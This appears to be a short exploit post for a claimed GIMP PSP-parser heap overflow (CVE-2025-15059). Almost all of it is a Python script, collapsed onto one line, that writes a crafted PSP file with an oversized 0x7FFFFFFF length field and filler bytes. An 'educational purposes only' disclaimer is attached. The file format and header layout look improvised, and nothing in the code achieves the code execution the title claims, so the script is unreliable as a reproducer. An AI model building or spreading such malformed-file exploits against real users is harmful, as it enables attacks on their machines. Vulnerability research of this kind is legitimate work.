CVE-2025-15059 GIMP PSP文件解析堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-15059 PoC - GIMP PSP File Parsing Heap Buffer Overflow This is a proof-of-concept for educational purposes only. Do not use for malicious purposes. """ import struct import sys def create_malicious_psp_file(filename): """ Creates a malicious PSP file that triggers heap buffer overflow in GIMP's PSP file parser. """ # PSP file signature psp_signature = b'PSPFILE' # PSP version (106 = PSP 6) psp_version = struct.pack('<H', 106) # Creator info creator = b'\x00' * 64 # Image dimensions (width, height) width = struct.pack('<H', 800) height = struct.pack('<H', 600) # Bit depth (24-bit) bit_depth = struct.pack('<H', 24) # Compression flag (0 = none) compression = struct.pack('<H', 0) # Number of layers num_layers = struct.pack('<H', 1) # Offset to layer info (will be set later) layer_offset = struct.pack('<I', 256) # Create crafted layer data with oversized length field # This triggers the heap buffer overflow layer_header_size = 64 # Malicious length value that exceeds buffer size malicious_length = struct.pack('<I', 0x7FFFFFFF) # Oversized length # Crafted layer data layer_data = b'A' * 1024 # Padding data # Combine all parts to create malformed PSP file psp_file = ( psp_signature + psp_version + creator + width + height + bit_depth + compression + num_layers + layer_offset + malicious_length + layer_data ) with open(filename, 'wb') as f: f.write(psp_file) print(f"[+] Malicious PSP file created: {filename}") print(f"[+] File size: {len(psp_file)} bytes") print(f"[!] This file may trigger heap buffer overflow in vulnerable GIMP versions") if __name__ == '__main__': if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <output_filename.psp>") sys.exit(1) create_malicious_psp_file(sys.argv[1])